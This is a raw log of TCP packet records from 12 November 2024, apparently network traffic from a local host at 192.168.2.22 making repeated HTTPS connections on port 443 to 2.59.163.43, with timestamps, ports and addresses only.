Nov 12, 2024 17:30:00.068720102 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:00.101110935 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:00.101125956 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:00.101190090 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:00.101198912 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:00.101298094 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:00.186724901 CET	443	49234	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:00.186764956 CET	443	49234	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:00.186810970 CET	443	49234	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:00.186830044 CET	49234	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:00.186856031 CET	49234	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:00.187926054 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:00.187953949 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:00.187988997 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:00.188000917 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:00.188010931 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:00.188592911 CET	49234	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:00.188611984 CET	443	49234	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:00.191847086 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:00.196949005 CET	443	49235	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:00.197014093 CET	443	49235	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:00.197066069 CET	49235	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:00.197712898 CET	49235	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:00.197721958 CET	443	49235	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:00.212851048 CET	49236	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:00.212904930 CET	443	49236	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:00.212955952 CET	49236	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:00.213085890 CET	49237	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:00.213116884 CET	443	49237	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:00.213165998 CET	49237	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:00.213309050 CET	49236	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:00.213324070 CET	443	49236	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:00.213490009 CET	49237	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:00.213504076 CET	443	49237	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:00.223937035 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:00.223956108 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:00.224009991 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:00.224020004 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:00.224128962 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:00.307054996 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:00.307075977 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:00.307121038 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:00.307138920 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:00.307148933 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:00.307245016 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:00.334414959 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:00.334434032 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:00.334484100 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:00.334492922 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:00.334506989 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:00.334592104 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:00.383796930 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:00.383833885 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:00.383898020 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:00.383912086 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:00.383939028 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:00.384346962 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:00.384371042 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:00.391908884 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:00.391944885 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:00.392009974 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:00.392196894 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:00.392211914 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:00.445843935 CET	49240	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:00.445909977 CET	443	49240	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:00.445976973 CET	49240	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:00.446562052 CET	49241	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:00.446594954 CET	443	49241	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:00.446672916 CET	49241	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:00.446784973 CET	49242	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:00.446794033 CET	443	49242	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:00.446837902 CET	49242	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:00.446985006 CET	49243	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:00.446994066 CET	443	49243	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:00.447037935 CET	49243	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:00.448013067 CET	49240	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:00.448028088 CET	443	49240	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:00.448136091 CET	49241	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:00.448149920 CET	443	49241	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:00.448239088 CET	49242	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:00.448252916 CET	443	49242	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:00.448342085 CET	49243	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:00.448353052 CET	443	49243	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:00.503180981 CET	49244	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:00.503257036 CET	443	49244	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:00.503331900 CET	49244	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:00.513456106 CET	49244	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:00.513480902 CET	443	49244	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:00.767719030 CET	49245	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:00.767771006 CET	443	49245	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:00.767826080 CET	49245	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:00.769166946 CET	49245	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:00.769182920 CET	443	49245	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.423495054 CET	443	49236	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.423795938 CET	49236	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:01.423815966 CET	443	49236	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.424828053 CET	443	49236	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.424880981 CET	49236	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:01.425301075 CET	49236	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:01.425360918 CET	443	49236	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.425474882 CET	49236	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:01.425482035 CET	443	49236	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.434628010 CET	443	49237	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.434951067 CET	49237	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:01.434962988 CET	443	49237	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.435858965 CET	443	49237	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.435924053 CET	49237	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:01.436517954 CET	49237	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:01.436567068 CET	443	49237	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.437042952 CET	49237	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:01.437048912 CET	443	49237	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.567529917 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.567858934 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:01.567867041 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.568161011 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.568627119 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:01.568684101 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.568917036 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:01.615323067 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.635334969 CET	443	49236	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.635390043 CET	49236	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:01.643335104 CET	443	49237	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.643399954 CET	49237	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:01.648263931 CET	443	49242	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.648494005 CET	49242	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:01.648526907 CET	443	49242	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.649590015 CET	443	49242	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.649642944 CET	49242	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:01.652821064 CET	49242	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:01.652903080 CET	443	49242	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.653146029 CET	49242	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:01.653155088 CET	443	49242	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.677881002 CET	443	49240	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.678185940 CET	49240	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:01.678196907 CET	443	49240	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.678498983 CET	443	49240	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.678821087 CET	49240	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:01.678879023 CET	443	49240	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.678992033 CET	49240	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:01.686508894 CET	443	49236	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.686553955 CET	443	49236	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.686593056 CET	49236	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:01.686602116 CET	443	49236	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.686638117 CET	443	49236	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.686680079 CET	49236	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:01.690625906 CET	49236	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:01.690642118 CET	443	49236	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.699363947 CET	443	49237	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.699686050 CET	443	49237	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.699733973 CET	49237	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:01.700465918 CET	49237	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:01.700486898 CET	443	49237	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.703305006 CET	443	49243	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.703636885 CET	49243	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:01.703659058 CET	443	49243	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.704675913 CET	443	49243	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.704730988 CET	49243	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:01.706469059 CET	49243	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:01.706583977 CET	443	49243	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.712173939 CET	49243	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:01.712181091 CET	443	49243	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.721963882 CET	443	49241	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.722568989 CET	49241	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:01.722575903 CET	443	49241	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.722857952 CET	443	49241	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.723181963 CET	49241	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:01.723232031 CET	443	49241	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.723340034 CET	443	49240	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.723387957 CET	49241	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:01.771323919 CET	443	49241	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.859338045 CET	443	49242	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.859427929 CET	49242	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:01.912661076 CET	49243	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:01.950824022 CET	443	49242	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.951297045 CET	443	49242	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.951332092 CET	443	49242	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.951344967 CET	49242	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:01.951361895 CET	443	49242	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.951400042 CET	49242	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:01.951658964 CET	443	49242	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.951706886 CET	49242	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:01.991977930 CET	443	49240	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.992120981 CET	443	49240	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.992165089 CET	49240	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:01.992166996 CET	443	49240	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.992207050 CET	49240	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:01.993371010 CET	49240	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:01.993390083 CET	443	49240	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.996973038 CET	49247	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:01.997015953 CET	443	49247	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:01.997075081 CET	49247	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:01.997467041 CET	49247	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:01.997482061 CET	443	49247	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:02.014501095 CET	443	49243	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:02.014581919 CET	443	49243	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:02.014626980 CET	49243	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:02.014647007 CET	443	49243	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:02.014659882 CET	443	49243	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:02.014695883 CET	49243	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:02.015933990 CET	49243	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:02.015943050 CET	443	49243	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:02.029309988 CET	443	49241	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:02.029542923 CET	443	49241	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:02.029570103 CET	443	49241	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:02.029587030 CET	49241	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:02.029596090 CET	443	49241	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:02.029634953 CET	49241	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:02.030088902 CET	443	49241	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:02.030141115 CET	49241	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:02.043426991 CET	49248	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:02.043462992 CET	443	49248	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:02.043538094 CET	49248	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:02.044931889 CET	49248	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:02.044948101 CET	443	49248	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.116822958 CET	443	49242	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.116873980 CET	443	49242	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.116906881 CET	49242	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.116938114 CET	443	49242	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.116951942 CET	49242	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.116956949 CET	443	49242	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.116997004 CET	49242	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.117207050 CET	443	49244	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.117353916 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.117371082 CET	443	49245	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.117414951 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.117450953 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.117459059 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.117489100 CET	49244	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.117496967 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.117517948 CET	443	49244	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.117543936 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.117549896 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.117595911 CET	49242	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.117611885 CET	443	49242	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.117948055 CET	443	49241	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.117980957 CET	443	49241	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.118000031 CET	49241	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.118011951 CET	443	49241	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.118025064 CET	49241	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.118067026 CET	443	49241	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.118107080 CET	49241	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.118278980 CET	49245	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.118308067 CET	443	49245	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.118383884 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.118413925 CET	443	49244	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.118428946 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.118438005 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.118457079 CET	49244	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.119205952 CET	443	49245	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.119251013 CET	49245	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.119640112 CET	49241	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.121004105 CET	49244	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.121612072 CET	443	49244	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.121768951 CET	49245	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.121826887 CET	443	49245	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.121964931 CET	49244	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.121972084 CET	443	49244	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.122023106 CET	49245	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.122030973 CET	443	49245	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.123354912 CET	49241	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.123363972 CET	443	49241	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.124572039 CET	49249	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.124592066 CET	443	49249	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.124656916 CET	49249	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.124969959 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.125019073 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.125027895 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.125125885 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.125171900 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.125179052 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.126734972 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.126770973 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.126787901 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.126794100 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.126828909 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.127338886 CET	49249	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.127345085 CET	443	49249	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.127856016 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.128196001 CET	49250	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.128223896 CET	443	49250	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.128278971 CET	49250	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.128379107 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.128412008 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.128432989 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.128438950 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.128473997 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.128554106 CET	49250	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.128568888 CET	443	49250	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.130378962 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.130419970 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.130431890 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.130436897 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.130460978 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.130590916 CET	49251	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.130600929 CET	443	49251	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.130645990 CET	49251	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.130815029 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.131072044 CET	49251	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.131081104 CET	443	49251	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.132236004 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.132272959 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.132292032 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.132297039 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.132307053 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.132368088 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.134068012 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.134105921 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.134135962 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.134140968 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.134151936 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.134218931 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.135644913 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.135682106 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.135709047 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.135709047 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.135715961 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.135731936 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.135905981 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.136028051 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.136043072 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.136080980 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.136087894 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.136096954 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.136217117 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.137695074 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.137710094 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.137754917 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.137759924 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.137769938 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.137821913 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.139096975 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.139111996 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.139157057 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.139162064 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.139170885 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.139228106 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.140616894 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.140631914 CET	443	49239	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:03.140669107 CET	49239	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:03.140672922 CET	443	49239	2.59.163.43	192.168.2.22
